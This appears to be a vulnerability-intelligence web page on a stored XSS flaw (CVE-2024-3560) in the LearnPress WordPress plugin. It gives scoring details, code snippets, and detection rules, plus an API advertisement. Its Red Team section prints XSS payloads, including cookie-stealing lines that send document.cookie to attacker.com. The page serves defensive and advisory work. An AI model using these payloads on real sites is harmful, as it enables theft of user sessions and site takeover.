☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-3560

CVE-2024-3560 Cross-Site Scripting in Learnpress
📅 PUBLISHED: 2024-04-19 01:57 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-3560 is a Stored Cross-Site Scripting (XSS) vulnerability in the LearnPress – WordPress LMS Plugin, affecting all versions up to and including 4.2.6.4. The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes, specifically the _id value. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts that execute whenever a victim accesses the compromised page. This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress sites using the LearnPress plugin.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (contributor-level)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The threat level is medium due to the requirement for authenticated access, but the potential for widespread impact on site visitors and administrators makes it a significant concern.

Deep Dive & Mechanics

The vulnerability exists in the LearnPress plugin's handling of the _id attribute within shortcodes or custom blocks. When a user with contributor-level access or higher creates or edits a page/post, they can supply a malicious _id value. The plugin fails to properly sanitize this input and escape it before rendering in the browser. This allows an attacker to inject JavaScript code that will be stored in the database and executed when any user (including administrators) views the affected page.

The attack flow:

  1. Attacker logs in with contributor-level credentials.
  2. Attacker creates a new page or edits an existing one.
  3. Attacker inserts a LearnPress shortcode or block and sets the _id attribute to a malicious payload, e.g., "><script>alert('XSS')</script>.
  4. The payload is stored in the WordPress database.
  5. When a victim visits the page, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.2.6.4):

// Example of vulnerable output
echo '<div id="' . $attributes['_id'] . '">';

The _id attribute is directly concatenated into the HTML without sanitization or escaping.

Patched Code (Hypothetical):

// Example of patched output
echo '<div id="' . esc_attr($attributes['_id']) . '">';

The esc_attr() function escapes the value, preventing XSS.

Exploitation & Lab Setup

Red Team

  1. Prerequisites: WordPress site with LearnPress <= 4.2.6.4, contributor-level account.
  2. Craft Payload: Use a payload like "><img src=x onerror=alert('XSS')> or "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.
  3. Inject: Edit a page/post, add a LearnPress shortcode/block, and set the _id attribute to the payload.
  4. Trigger: Visit the page as any user to execute the script.

Example Payload:

"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>

Blue Team

  1. Detection: Monitor for unusual _id values in LearnPress shortcodes/blocks.
  2. Mitigation: Apply input validation and output escaping. Use a Web Application Firewall (WAF) to block common XSS patterns.
  3. Hunting: Search the database for suspicious _id values containing <script> or onerror attributes.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Host: Unusual JavaScript code in page/post content, specifically in LearnPress shortcode/block attributes.
  • Logs: WordPress audit logs showing creation/editing of pages by contributor-level users with suspicious _id values.

Detection Engineering

YARA Rule

rule CVE_2024_3560_LearnPress_XSS {
    meta:
        description = "Detects stored XSS payloads in LearnPress _id attribute"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3560"
    strings:
        $xss1 = /_id["']?\s*=\s*["'][^"']*<script[^>]*>/i
        $xss2 = /_id["']?\s*=\s*["'][^"']*on\w+\s*=/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-3560 LearnPress Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts via LearnPress _id attribute
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "learnpress"
        http.body|contains|all:
            - "_id"
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3560 LearnPress Stored XSS Attempt"; flow:to_server,established; content:"_id"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the LearnPress plugin until a patch is available.
  2. Short-term: Restrict contributor-level access to trusted users only. Implement a WAF rule to block XSS patterns in _id attributes.
  3. Long-term: Apply the vendor patch when released. Ensure all user-supplied attributes are sanitized and escaped using WordPress functions like esc_attr() and wp_kses().
  4. Monitoring: Continuously monitor for suspicious activity and review logs for XSS attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"LearnPress"
http.html:"learnpress"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-3560/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.